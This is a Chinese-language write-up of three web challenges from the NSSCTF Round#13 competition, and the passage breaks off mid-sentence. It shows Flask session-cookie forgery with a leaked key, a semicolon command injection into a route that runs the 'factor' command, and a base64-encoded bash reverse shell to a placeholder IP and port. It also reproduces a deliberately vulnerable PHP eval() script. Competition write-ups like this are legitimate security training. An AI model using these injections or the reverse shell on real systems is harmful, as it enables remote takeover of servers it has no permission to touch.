NSSCTF Round#13 web专项-Toy模板网

这篇具有很好参考价值的文章主要介绍了NSSCTF Round#13 web专项。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

rank:3

flask?jwt?

简单的注册个账号，在/changePassword 下查看页面源代码发现密钥 ,很好，老套路了，flask-session-cookie-manager伪造，把_user_id 改成1，访问/getFlag ，拿到flag

ez_factors

查看页面源代码，发现路由/factors/114514 ,访问发现114514被分解，猜测后台逻辑是利用linux命令factor对/factors/后接的字符执行，这样直接用; 来个多命令执行，访问/factors/114514;cd ..;cd ..;cd ..;cd ..;cat flag ,有东西不过是一串数字，嗯，看样子应该是读不出来了，直接反弹shell，echo YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=|base64 -d|bash ,利用base64防止有/导致破坏路由，成功反弹shell

MyWeb

代码如下：

<?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据，但是还不会处理json格式，这样处理应该没有什么问题吧

if ($_GET['mode'] == 'save') {
    $data = file_get_contents('/tmp/data.json');
    $value = addslashes($_GET['value']);
    $data = str_replace(']', ", '$value']", $data);
    file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
    $data = file_get_contents('/tmp/data.json');
    eval('$data = ' . $data . ';');
    print_r($data);
} else {
    highlight_file(__FILE__);
}

很明显能命令执行，写个1进去，read之后是这样的

看代码把] 替换成, $value] ,猜测它的json文件是这样写的:[1,2,3········] 这样我们构造把它闭合不就能执行命令了，直接构造个